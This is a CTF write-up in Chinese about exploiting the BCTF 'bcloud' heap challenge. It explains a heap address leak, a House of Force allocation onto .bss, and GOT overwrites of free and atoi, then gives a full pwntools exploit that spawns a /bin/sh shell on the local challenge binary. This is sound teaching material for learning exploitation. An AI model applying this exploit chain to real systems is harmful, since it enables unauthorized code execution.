BCTF--cloud

0x00: 简介

最近在复现一些优质CTF里的题目,所以这个系列的文章会有点多…先做了下BCTF的热身题目–bcloud,一个堆上的利用。

  • 测试环境:ubuntu 16.04 x64

0x01:程序分析

程序是个菜单式的程序,看了下功能,应该就是堆上的一些利用了。

看下开启了什么保护。

基本信息就是上面说的那样,下面是具体的分析:

  • 功能:每个笔记(chunk)的大小、内容、状态以数组形式存储在.bss段
  • 问题:ban掉了show的操作,需要自己去构造下泄露了。

先开始看在进入菜单之前的函数:

这个函数读入用户名,没看到明显的溢出点,但是问题在于 unsafe_read() 函数,如果输入长度为0x40,那么就可以引发一个堆地址泄露,即在输出用户名的时候,输出一个堆地址。
地址泄露 get!

下面是这个函数,读取host 和 org然后malloc分配空间,之后拷贝过去,由于使用的还是unsafe_read(),所以可以构造一个hof,这种利用需要堆地址,正好,之前有个泄露,这下就满足条件了。

0x02:利用思路

那么既然确定了是hof利用,利用的思路就出来了:

利用hof的思路,去分配到.bss上的 0x0804b0a0 地址

1
2
3
4
5
chunk_length[]   ----> 0x0804b0a0
...
chunk_status[]
...
chunk_list[] ----> 0x0804B120

分配到之后,利用edit功能去填入要改写的函数got,先构造一次泄露:

1
chunk_list[]中放:atoi@got,free@got,atoi@got

然后修改free@got为printf函数地址,利用delete功能去泄露atoi地址。

  1. 得到atoi()地址之后,利用libc.so确定system()和atoi()的偏移。
  2. 修改atoi()地址为system(),之后随便用下菜单的功能,发送一个/bin/sh\0过去就getshell了。

0x03:exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/usr/bin/env python
# coding=utf-8
# by muhe
from pwn import *
context.log_level = 'debug'
name_addr = 0x0804B0CC
bss_addr = 0x0804b0a0
atoi = 0x0804b03c
free = 0x0804b014
printf_plt = 0x080484D0
'''
chunk_length[] ----> 0x0804b0a0
chunk_status[]
chunk_list[] ----> 0x0804B120
'''
target = "./bcloud"
#target = ('127.0.0.1',10001)
p = process(target)
#p = context(target)
def new_note(p,length,content):
p.recvuntil('option--->>')
p.sendline('1')
p.recvuntil('content:')
p.sendline(str(length))
p.recvuntil('content:')
p.sendline(str(content))
def edit_note(p,index,new_content):
p.recvuntil('option--->>')
p.sendline('3')
p.recvuntil('id:')
p.sendline(str(index))
p.recvuntil('content:')
p.sendline(str(new_content))
def delete_note(p,index):
p.recvuntil('option--->>')
p.sendline('4')
p.recvuntil('id:')
p.sendline(str(index))
def main():
# leak heap address
name = "A"*60+"BBBB"
p.send(name)
p.recvuntil('BBBB')
leak = u32(p.recv(4))
print hex(leak)
# hof here
usr_host = "B"*0x40
fuck_top_chunk = "\xff\xff\xff\xff"
p.send(usr_host)
p.sendline(fuck_top_chunk)
# get list_length chunk..
size = (bss_addr-0x8)-leak-0x8 - 208
new_note(p,size,'AAAA')
p.recvuntil('option--->>')
p.sendline('1')
p.recvuntil('content:')
p.sendline('172')
#fill the list_length[] && list_content[]
payload = p32(4)
payload += p32(4)
payload += p32(4)
payload += p32(0) * 29
payload += p32(atoi)
payload += p32(free)
payload += p32(atoi)
payload += p32(0) * 8
p.send(payload)
# change free() to printf()
raw_input('$debug...')
p.sendline('3')
p.sendline('1')
p.send(p32(printf_plt))
# leak addr of atoi()
delete_note(p,0)
garbage = p.recvuntil("Input the id:\n")
leak_atoi = u32(p.recv(4))
print "got atoi() ---->"+hex(leak_atoi)
# get system() addr
system_addr = leak_atoi + 0xd8f0
# overwrite atoi() to system() && getshell
p.sendline('3')
p.sendline('2')
p.send(p32(system_addr))
garbage = p.recv()
p.sendline("/bin/sh\x00")
p.interactive()
if __name__ == '__main__':
main()

getshell~~

0x04:参考
uaf.io